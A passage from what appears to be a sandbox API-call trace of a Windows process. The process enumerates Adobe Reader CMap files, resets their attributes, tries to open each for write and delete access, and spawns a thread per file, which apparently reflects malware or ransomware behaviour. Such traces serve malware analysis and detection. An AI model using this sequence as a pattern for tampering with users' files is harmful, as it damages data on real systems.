(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.739] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm314-B5-H", cAlternateFileName="HKM314~1")) returned 1 [0175.739] wcscmp (_String1="HKm314-B5-H", _String2=".") returned 1 [0175.739] wcscmp (_String1="HKm314-B5-H", _String2="..") returned 1 [0175.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced3460 [0175.740] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.740] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.740] wcscat (in: _Dest=0x1ced3460, _Source="HKm314-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H" [0175.740] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-h")) returned 0x20 [0175.740] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H", dwFileAttributes=0x20) returned 0 [0175.740] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.740] GetLastError () returned 0x5 [0175.740] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H", dwFileAttributes=0x20) returned 0 [0175.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.741] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm314-B5-V", cAlternateFileName="HKM314~2")) returned 1 [0175.741] wcscmp (_String1="HKm314-B5-V", _String2=".") returned 1 [0175.741] wcscmp (_String1="HKm314-B5-V", _String2="..") returned 1 [0175.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced3460 [0175.741] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.742] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.742] wcscat (in: _Dest=0x1ced3460, _Source="HKm314-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V" [0175.742] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-v")) returned 0x20 [0175.742] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V", dwFileAttributes=0x20) returned 0 [0175.742] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.742] GetLastError () returned 0x5 [0175.742] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V", dwFileAttributes=0x20) returned 0 [0175.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.743] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm471-B5-H", cAlternateFileName="HKM471~1")) returned 1 [0175.746] wcscmp (_String1="HKm471-B5-H", _String2=".") returned 1 [0175.746] wcscmp (_String1="HKm471-B5-H", _String2="..") returned 1 [0175.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced3460 [0175.746] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.746] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.746] wcscat (in: _Dest=0x1ced3460, _Source="HKm471-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H" [0175.746] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-h")) returned 0x20 [0175.746] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H", dwFileAttributes=0x20) returned 0 [0175.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.747] GetLastError () returned 0x5 [0175.747] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H", dwFileAttributes=0x20) returned 0 [0175.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.748] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm471-B5-V", cAlternateFileName="HKM471~2")) returned 1 [0175.748] wcscmp (_String1="HKm471-B5-V", _String2=".") returned 1 [0175.748] wcscmp (_String1="HKm471-B5-V", _String2="..") returned 1 [0175.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced3460 [0175.748] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.748] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.748] wcscat (in: _Dest=0x1ced3460, _Source="HKm471-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V" [0175.748] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-v")) returned 0x20 [0175.749] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V", dwFileAttributes=0x20) returned 0 [0175.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.750] GetLastError () returned 0x5 [0175.750] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V", dwFileAttributes=0x20) returned 0 [0175.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.750] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x604d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKscs-B5-H", cAlternateFileName="HKSCS-~1")) returned 1 [0175.750] wcscmp (_String1="HKscs-B5-H", _String2=".") returned 1 [0175.750] wcscmp (_String1="HKscs-B5-H", _String2="..") returned 1 [0175.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.751] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.751] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.751] wcscat (in: _Dest=0x1ced3460, _Source="HKscs-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H" [0175.751] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-h")) returned 0x20 [0175.751] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H", dwFileAttributes=0x20) returned 0 [0175.752] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.752] GetLastError () returned 0x5 [0175.752] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H", dwFileAttributes=0x20) returned 0 [0175.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.752] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKscs-B5-V", cAlternateFileName="HKSCS-~2")) returned 1 [0175.752] wcscmp (_String1="HKscs-B5-V", _String2=".") returned 1 [0175.752] wcscmp (_String1="HKscs-B5-V", _String2="..") returned 1 [0175.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.753] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.753] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.753] wcscat (in: _Dest=0x1ced3460, _Source="HKscs-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V" [0175.753] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-v")) returned 0x20 [0175.753] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V", dwFileAttributes=0x20) returned 0 [0175.753] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.753] GetLastError () returned 0x5 [0175.754] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V", dwFileAttributes=0x20) returned 0 [0175.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.754] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-H", cAlternateFileName="IDENTI~1")) returned 1 [0175.754] wcscmp (_String1="Identity-H", _String2=".") returned 1 [0175.754] wcscmp (_String1="Identity-H", _String2="..") returned 1 [0175.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.754] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.754] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.754] wcscat (in: _Dest=0x1ced3460, _Source="Identity-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H" [0175.755] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-h")) returned 0x20 [0175.755] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H", dwFileAttributes=0x20) returned 0 [0175.755] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.755] GetLastError () returned 0x5 [0175.755] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H", dwFileAttributes=0x20) returned 0 [0175.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.756] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-V", cAlternateFileName="IDENTI~2")) returned 1 [0175.756] wcscmp (_String1="Identity-V", _String2=".") returned 1 [0175.756] wcscmp (_String1="Identity-V", _String2="..") returned 1 [0175.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.756] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.756] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.756] wcscat (in: _Dest=0x1ced3460, _Source="Identity-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V" [0175.756] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-v")) returned 0x20 [0175.756] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V", dwFileAttributes=0x20) returned 0 [0175.757] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.757] GetLastError () returned 0x5 [0175.757] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V", dwFileAttributes=0x20) returned 0 [0175.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.757] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3047, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSC-EUC-H", cAlternateFileName="KSC-EU~1")) returned 1 [0175.757] wcscmp (_String1="KSC-EUC-H", _String2=".") returned 1 [0175.757] wcscmp (_String1="KSC-EUC-H", _String2="..") returned 1 [0175.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced3460 [0175.758] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.758] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.758] wcscat (in: _Dest=0x1ced3460, _Source="KSC-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H" [0175.758] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-h")) returned 0x20 [0182.815] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H", dwFileAttributes=0x20) returned 0 [0182.815] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0182.815] GetLastError () returned 0x5 [0182.815] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H", dwFileAttributes=0x20) returned 0 [0182.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0182.816] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSC-EUC-V", cAlternateFileName="KSC-EU~2")) returned 1 [0182.816] wcscmp (_String1="KSC-EUC-V", _String2=".") returned 1 [0182.816] wcscmp (_String1="KSC-EUC-V", _String2="..") returned 1 [0182.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced3460 [0182.817] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0182.817] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0182.817] wcscat (in: _Dest=0x1ced3460, _Source="KSC-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V" [0182.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced3460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25b8 [0182.951] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4191, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-H", cAlternateFileName="KSCMS-~1")) returned 1 [0182.951] wcscmp (_String1="KSCms-UHC-H", _String2=".") returned 1 [0182.951] wcscmp (_String1="KSCms-UHC-H", _String2="..") returned 1 [0182.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced32b0 [0182.951] wcscpy (in: _Dest=0x1ced32b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0182.951] wcscat (in: _Dest=0x1ced32b0, 